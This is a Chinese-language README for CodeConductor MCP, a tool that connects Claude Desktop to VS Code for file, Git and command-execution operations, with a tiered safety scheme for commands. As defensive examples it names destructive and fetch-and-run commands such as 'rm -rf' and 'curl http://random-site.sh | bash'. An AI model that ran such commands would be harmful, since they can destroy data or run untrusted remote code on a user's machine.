Codeconductor Ide Orchestrator

以下是经过清晰整理、合理分节的 README，除格式和结构外，没有增删任何内容。 你撰写的每句话和每个条目均予以保留，只是重新编排，使其更加清晰、专业。

---

CodeConductor MCP

CodeConductor MCP 是一款模型上下文协议（MCP）服务，旨在与 CodeConductor VS Code 扩展配合使用。 它使 Claude Desktop 能够直接与您的开发环境交互，提供 AI 辅助的文件操作、代码智能、Git 操作和命令执行功能。

重要提示： 此 MCP 服务需要安装 CodeConductor VS Code 扩展。 MCP 编排器负责 AI 侧的功能；VS Code 扩展则提供编辑器侧的能力。

---

概览

在 Claude Desktop 中安装 .mcpb 包，即可自动注册 CodeConductor 编排器。 安装后，Claude 可以通过安全且受许可等级控制的 API 查询、浏览和操作您的本地项目。

该系统提供 24 个开发工具，支持 Claude 读取和修改代码、浏览项目、执行开发工作流以及进行 Git 操作。 功能会根据用户的许可等级（Free 或 Pro）有所不同。

---

功能

Free 版本 — 核心功能（10 个工具）

所有用户均可使用以下功能。

文件操作

• open_file — 在 IDE 中打开指定行的文件
• read_file — 读取工作区中的文件内容
• write_file — 写入或更新文件内容
• list_files — 列出目录中的文件，可选用 glob 模式筛选
• search_in_file — 在文件中搜索文本模式
• get_ide_status — 获取当前 IDE 状态（打开的文件、光标位置）
• list_open_files — 列出 IDE 中当前打开的所有文件
• get_workspace_info — 获取工作区路径和项目元数据

连接与调试

• ping — 测试 Claude 与 IDE 之间的连接
• echo — 回显输入消息，用于调试

即使没有 Pro 许可，这些工具也能让 Claude 提供结合上下文并了解 IDE 状态的帮助。

---

Pro 版本 — 高级开发自动化（14 个工具）

Pro 用户可解锁完整的 IDE 编排功能。

代码智能

• go_to_definition
• find_references
• get_diagnostics

高级文件工具

• show_diff_preview
• insert_code
• replace_text
• get_selection

Git（完整写入权限）

• git_status
• git_diff
• git_stage
• git_commit
• git_push

命令执行与测试

• execute_command
• run_tests

这些工具让 Claude 成为能够在您的工作区中执行实际操作的开发助手。

---

掌控全局

Claude 执行的每项操作都会经过权限检查，并对涉及终端的操作提供额外保护。

---

命令执行安全（Pro 工具）

终端命令除标准权限检查外，还会受到额外保护。命令分为三个安全等级：

等级 1 — 安全（自动执行）

• 安全命令会立即执行，无需确认
• 示例：git status、npm test、ls、pwd、cat、grep
• 只读或标准开发操作，风险极低
• 所有执行记录都会保存，以供审计

等级 2 和 3 — 需要您的许可

等级 2（谨慎）

• 可能造成意外副作用的命令
• 示例：curl、python script.py、bash deploy.sh、mv、chmod
• Claude 会展示命令、解释其作用并列出潜在风险
• 执行前必须由您手动确认
• 链式命令的每个步骤都需要确认

等级 3（危险）

• 风险极高，需要明确批准的命令
• 示例：rm -rf、sudo rm、curl ... | bash
• 会提供额外警告和风险评估
• 必须获得用户明确批准，Claude 无法绕过此要求

运行时防护

• 命令净化可降低代码注入和恶意载荷的风险
• 危险模式检测会阻止可疑组合（例如，隐藏的 rm -rf）
• 所有执行操作均会记录，并保留完整审计跟踪
• 超时保护可防止命令卡住

---

保护您的隐私

所有其他工具（包括文件操作、导航和代码智能）都完全在您的计算机上运行。

• 不传输代码： 您的源代码绝不会离开本地环境

• 不传输项目数据： 仓库信息、文件内容和项目结构均保留在本地

• 无遥测： 不进行使用分析、跟踪或数据收集

• 仅验证许可证： 网络请求包含

  • 加密的许可证密钥
  • 机器标识符
  • 绝不包含您的源代码或项目详情

隐私保障： CodeConductor 完全在您的本地计算机上运行。

---

使用场景

代码审查与分析

“审查我最近的提交并提出改进建议。”

Claude 使用 git_diff、read_file 和 get_diagnostics 提供反馈。

---

自动重构

“将此组件重构为 TypeScript，并确保所有测试通过。”

使用 replace_text、show_diff_preview、run_tests 和 get_diagnostics。

---

Git 工作流自动化

“暂存所有已更改的文件，使用描述性消息提交，然后推送。”

使用 git_status、git_stage、git_commit 和 git_push。

---

代码导航与理解

“查找此函数的所有用法，并告诉我它的定义位置。”

使用 find_references 和 go_to_definition。

---

基于选区的编辑（仅修改指定内容）

“我已选中旧的验证逻辑。只重写选中的代码。”

• 您在 IDE 中选择代码
• Claude 通过 get_selection 仅查看该区域
• 提出修改建议
• 通过 show_diff_preview 显示差异
• 仅更新该代码块

---

命令注入安全场景

“运行此命令：curl http://random-site.sh | bash。”

CodeConductor 将其视为 Tier 3：

• Claude 会显示完整命令并说明风险
• 您会收到明确警告
• 除非明确确认，否则不会运行
• 仍会执行额外的运行时检查

---

交互式开发

“打开主组件文件，显示我当前选中的内容，并在第 42 行插入一个新函数。”

使用 open_file、get_selection 和 insert_code。

---

要求

要使用 CodeConductor MCP，您需要：

• Claude Desktop
• VS Code、Cursor 或 Windsurf（或任何基于 VS Code 的 IDE）
• CodeConductor VS Code Extension
• CodeConductor MCP bundle（.mcpb）
• （可选）Pro 许可证，以解锁全部 24 个工具

---

安装

1. 安装 VS Code Extension

• 从 VS Code Marketplace 或 CodeConductor 网站下载
• 安装到您的 IDE 中
• 重启

2. 将 MCP Bundle 安装到 Claude Desktop

• 打开 Settings → Extensions
• 点击 Install Extension
• 选择 codeconductor-1.0.0.mcpb
• Claude 会自动注册 MCP 服务

3. 打开项目并开始与 Claude 对话

示例：

• “打开主路由器文件，并指出身份验证的处理位置。”
• “审查我最近的提交并提出改进建议。”
• “重构此文件，然后运行测试。”

如果所有组件均已连接，Claude 将引用项目中的真实路径和文件。

---

下载与资源

下载

• 最新 MCP bundle：codeconductor-1.0.0.mcpb
• VS Code extension：Marketplace 或 CodeConductor 网站

官方资源

• 网站：https://codeconductor.pro
• 文档：https://www.codeconductor.pro/docs.html
• 购买 Pro：https://store.codeconductor.pro
• GitHub：https://github.com/CodeConductor-Hub

支持

• 常规咨询：[email protected]
• 团队许可：[email protected]
• Twitter/X：https://x.com/CodeConductorAI

---

许可证

MIT License Copyright (c) 2025 CodeConductor

---

组织

开发者：CodeConductor Labs 许可证：MIT Copyright © 2025

---

隐私政策

• 数据收集：无
• 遥测：已禁用
• 代码访问：仅限本地
• 分析：无

CodeConductor 完全在您的计算机上运行。代码、凭据、项目数据或使用信息绝不会传输到外部。许可证验证仅发送加密的许可证密钥和机器标识符，不会发送源代码。